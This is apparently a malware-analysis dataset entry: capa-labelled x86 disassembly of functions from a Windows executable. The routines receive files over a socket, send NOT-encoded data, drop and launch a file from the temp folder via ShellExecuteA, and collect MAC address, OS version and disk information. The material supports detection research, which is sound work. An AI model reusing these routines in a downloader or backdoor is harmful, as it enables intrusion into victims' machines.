joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4169f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x416a0a
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 4], 0xffffffff
je 0x416a14
mov eax, 0x1000000
jmp 0x416aee
mov edx, dword [ebp - 0x18]
add edx, 0x244
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, dword [ebp - 0x18]
add eax, 0x244
push eax
call fcn.004022d8
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dx, word [ecx + eax*2 + 0x242]
mov word [ebp - 8], dx
movzx eax, word [ebp - 8]
cmp eax, 0x5c
je 0x416a72
movzx ecx, word [ebp - 8]
cmp ecx, 0x2f
je 0x416a72
push 0x427550
mov edx, dword [ebp - 0x18]
add edx, 0x244
push edx
call fcn.0040139a
add esp, 8
cmp dword [ebp + 0x10], 1
jne 0x416aa6
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], eax
xor ecx, ecx
cmp dword [ebp - 0x10], 0xffffffff
setne cl
mov byte [ebp - 0x11], cl
movzx edx, byte [ebp - 0x11]
test edx, edx
jne 0x416aa6
mov eax, 0x2000000
jmp 0x416aee
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00410780
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x416acc
mov eax, dword [ebp - 0xc]
jmp 0x416aee
mov ecx, dword [ebp - 4]
push ecx
call fcn.00415cd0
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x416aec
mov eax, 0x200
jmp 0x416aee
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4176d0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.0040e9e0
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x1014], 0
mov dword [0x42d784], 0
push 0x428150
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00401956
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x417724
xor eax, eax
jmp 0x4177ca
push 0
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x417744
xor eax, eax
jmp 0x4177ca
mov edx, dword [ebp - 0x1014]
cmp edx, dword [ebp - 0xc]
jae 0x4177aa
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x417774
jmp 0x4177aa
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
lea edx, [ebp - 0x1010]
push edx
call fcn.0040224b
add esp, 0x10
mov eax, dword [ebp - 0x1014]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1014], eax
mov ecx, dword [ebp - 0x1014]
mov dword [0x42d784], ecx
jmp 0x417744
mov edx, dword [ebp - 8]
push edx
call fcn.004020b5
add esp, 4
mov eax, dword [ebp - 0x1014]
cmp eax, dword [ebp - 0xc]
jae 0x4177c5
xor eax, eax
jmp 0x4177ca
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004012de
mov esp, ebp
pop ebp
ret
Function at 0x417aa0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x417ad4
jmp 0x417b90
mov dword [ebp - 0x18], 0
jmp 0x417ae6
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp + 0x10]
jge 0x417b03
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x18]
movzx ecx, byte [eax]
not ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x18]
mov byte [edx], cl
jmp 0x417add
mov eax, dword [ebp + 0x10]
add eax, 7
push eax
call fcn.00403c31
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
movzx edx, word [ebp + 0x10]
add edx, 5
mov eax, dword [ebp - 0xc]
mov word [eax], dx
push 5
push 0x42c120
mov ecx, dword [ebp - 0xc]
add ecx, 2
push ecx
call fcn.00401460
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 7
push ecx
call fcn.00401460
add esp, 0xc
mov edx, dword [ebp + 0x10]
add edx, 7
mov dword [ebp + 0x10], edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x417b85
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
je 0x417b89
jmp 0x417b90
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x417ba8
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.004023ab
add esp, 4
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x418320
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov ecx, dword [ebp + 8]
mov dword [ecx], 0
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0x14], 0x10325476
mov eax, dword [ebp + 8]
mov dword [eax + 0x18], 0xc3d2e1f0
pop ebp
ret

Function at 0x419d70
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1074
call fcn.0040e9e0
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 0x70], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x1074], 0
push 0x428158
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00401956
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x419dca
push 0x14
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.004012f0
add esp, 0xc
xor eax, eax
jmp 0x419e90
push 2
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401a2d
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401c4a
add esp, 4
mov dword [ebp - 0x6c], eax
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00401a2d
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call fcn.00418320
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x1070]
push edx
call fcn.00402027
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jbe 0x419e50
lea eax, [ebp - 0x68]
push eax
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x1070]
push edx
call fcn.00419c60
add esp, 0xc
mov eax, dword [ebp - 0x1074]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1074], eax
jmp 0x419e05
lea ecx, [ebp - 0x68]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00419ad0
add esp, 8
mov eax, dword [ebp - 8]
push eax
call fcn.004020b5
add esp, 4
mov ecx, dword [ebp - 0x1074]
cmp ecx, dword [ebp - 0x6c]
jae 0x419e8b
push 0x14
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.004012f0
add esp, 0xc
xor eax, eax
jmp 0x419e90
mov eax, 1
mov ecx, dword [ebp - 0x70]
xor ecx, ebp
call fcn.004012de
mov esp, ebp
pop ebp
ret
Function at 0x419ea0
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x419eef
jmp 0x419fd7
mov dword [ebp - 8], 0xc00
mov eax, dword [ebp - 8]
push eax
call fcn.00403c31
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
push 0
push 0
push 0x70050
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x419f3a
jmp 0x419fd7
mov dword [ebp - 4], 0
jmp 0x419f4c
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x419fba
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x90
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + eax + 0x3c]
cmp edx, dword [ebp - 0xc]
jl 0x419fb8
jg 0x419f84
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + eax + 0x38]
cmp edx, dword [ebp - 0x10]
jbe 0x419fb8
mov eax, dword [ebp - 4]
imul eax, eax, 0x90
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax + 0x38]
mov dword [ebp - 0x10], edx
mov eax, dword [ecx + eax + 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x90
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + ecx + 0x40]
mov dword [ebp - 0x20], eax
mov ecx, dword [edx + ecx + 0x44]
mov dword [ebp - 0x1c], ecx
jmp 0x419f43
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
adc eax, dword [ebp - 0x1c]
push 0
push 0x200
push eax
push edx
call fcn.0041de20
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], 0
je 0x419ff6
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004023ab
add esp, 4
mov dword [ebp - 0x24], 0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x41a210
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x41a243
jmp 0x41a294
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
push 0
push 0x200
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0040a440
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x41a2a0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x110]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x429618
lea ecx, [ebp - 0x110]
push ecx
call fcn.00401110
add esp, 8
push 0x104
lea edx, [ebp - 0x220]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x220]
push eax
push 0x104
lea ecx, [ebp - 0x330]
push ecx
call fcn.004040c3
add esp, 0xc
push 0x5c
lea edx, [ebp - 0x330]
push edx
call fcn.00401130
add esp, 8
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
je 0x41a346
mov eax, dword [ebp - 0x224]
mov byte [eax], 0
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x41a46c
push 0x42c660
call fcn.00403ca0
add esp, 4
mov esi, eax
lea edx, [ebp - 0x220]
push edx
call fcn.00403ca0
add esp, 4
imul eax, eax, 3
add esi, eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403ca0
add esp, 4
lea ecx, [esi + eax + 0x32]
mov dword [ebp - 0x334], ecx
mov edx, dword [ebp - 0x334]
push edx
call fcn.00403c31
add esp, 4
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x334]
push ecx
push 0
mov edx, dword [ebp - 0x114]
push edx
call fcn.004012f0
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x330]
push ecx
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x220]
push eax
push 0x42c660
mov ecx, dword [ebp - 0x334]
push ecx
mov edx, dword [ebp - 0x114]
push edx
call fcn.004044bd
add esp, 0x1c
push 0
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.00403ca0
add esp, 4
push eax
mov edx, dword [ebp - 0x114]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [ebp - 0x110]
push edx
push 0x428e80
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [ebp - 0x114], 0
je 0x41a49a
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x33c], eax
mov ecx, dword [ebp - 0x33c]
push ecx
call fcn.004023ab
add esp, 4
mov dword [ebp - 0x114], 0
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004012de
mov esp, ebp
pop ebp
ret
Function at 0x41a530
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 4], eax
mov word [ebp - 0x210], 0
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.004012f0
add esp, 0xc
cmp dword [0x42c0a0], 3
jne 0x41a598
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x428fa0
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.004013e0
add esp, 0xc
jmp 0x41a5aa
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x210]
push edx
push 0x428fa4
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012de
mov esp, ebp
pop ebp
ret

Function at 0x41a5e0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 4], 0xffffffff
push 0
push 0
push 3
push 0
push 3
push closesocket
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x41a61e
or eax, 0xffffffff
or edx, 0xffffffff
jmp 0x41a64d
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x41a63d
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x41a660
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov word [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
push 0x118
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.004012f0
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea ecx, [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x41a75a
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x128]
mov dword [ebp - 8], eax
mov cx, word [ebp - 0x1c]
mov word [ebp - 0x134], cx
cmp dword [ebp - 0xc], 5
jne 0x41a70c
cmp dword [ebp - 8], 0
jne 0x41a70c
movzx edx, word [ebp - 0x134]
cmp edx, 4
jl 0x41a70c
mov dword [ebp - 4], 1
cmp dword [ebp - 0xc], 5
jne 0x41a71f
cmp dword [ebp - 8], 2
jne 0x41a71f
mov dword [ebp - 4], 2
cmp dword [ebp - 0xc], 5
jne 0x41a738
cmp dword [ebp - 8], 2
jae 0x41a731
cmp dword [ebp - 8], 1
jne 0x41a738
mov dword [ebp - 4], 3
cmp dword [ebp - 0xc], 6
jne 0x41a75a
cmp dword [ebp - 8], 0
jne 0x41a74d
mov dword [ebp - 4], 4
jmp 0x41a75a
cmp dword [ebp - 8], 1
jne 0x41a75a
mov dword [ebp - 4], 5
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004012de
mov esp, ebp
pop ebp
ret
Function at 0x41a970
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x41a9bb
jmp 0x41aa3e
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 8]
mov dword [edx], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00403c31
add esp, 4
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.004012f0
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00401460
add esp, 0xc
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x41ae50
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x42b044]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x40], 0
mov word [ebp - 0x2c], 0
xor eax, eax
mov dword [ebp - 0x2a], eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], ax
mov dword [ebp - 8], 0
push 0x288
call fcn.00401d07
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x34], 0x288
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x41aeef
mov eax, dword [ebp - 4]
push eax
call fcn.0040231d
add esp, 4
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.00401d07
add esp, 4
mov dword [ebp - 4], eax
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.iphlpapi.dll_GetAdaptersInfo
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x41b008
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], 0
je 0x41b008
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
cmp dword [ebp + 8], 0
je 0x41af3f
push 6
mov eax, dword [ebp - 0x3c]
add eax, 0x194
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401460
add esp, 0xc
mov edx, dword [ebp - 0x3c]
add edx, 0x1ac
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x40], 0
je 0x41aff3
mov eax, dword [ebp - 0x40]
add eax, 4
push eax
call fcn.00403ca0
add esp, 4
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x10
jle 0x41af74
mov dword [ebp - 0x44], 0x10
mov dword [ebp - 0x48], 0
jmp 0x41af86
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x44]
jg 0x41afb5
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x44]
jne 0x41afa0
mov ecx, dword [ebp - 0x48]
mov word [ebp + ecx*2 - 0x2c], 0
mov edx, dword [ebp - 0x40]
add edx, dword [ebp - 0x48]
movsx ax, byte [edx + 4]
mov ecx, dword [ebp - 0x48]
mov word [ebp + ecx*2 - 0x2c], ax
jmp 0x41af7d
lea edx, [ebp - 0x2c]
push edx
call fcn.0041ad10
add esp, 4
test eax, eax
je 0x41afdd
lea eax, [ebp - 0x2c]
push eax
push 0x10
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
push eax
call fcn.004017c5
add esp, 0xc
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
jmp 0x41af4b
cmp dword [ebp - 8], 0
jle 0x41affb
jmp 0x41b008
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx]
mov dword [ebp - 0x3c], edx
jmp 0x41af0f
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
cmp dword [ebp - 4], 0
je 0x41b022
mov edx, dword [ebp - 4]
push edx
call fcn.0040231d
add esp, 4
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004012de
mov esp, ebp
pop ebp
ret
Function at 0x41b350
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x42905c
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00401956
add esp, 0xc
test eax, eax
je 0x41b384
xor eax, eax
jmp 0x41b453
mov dword [ebp - 0x14], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00401a2d
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.00401c4a
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401a2d
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x10]
push edx
call fcn.00401d07
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00402027
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.004020b5
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
push edx
call fcn.0041a4b0
add esp, 8
push 0x429064
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00401956
add esp, 0xc
test eax, eax
je 0x41b41e
xor eax, eax
jmp 0x41b453
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.0040224b
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.004020b5
add esp, 4
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x41b530
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
je 0x41b54a
mov eax, dword [ebp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x41b56f
push 0x104
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x429004
push 0x104
mov edx, dword [ebp + 8]
push edx
call fcn.004013e0
add esp, 0xc
pop ebp
ret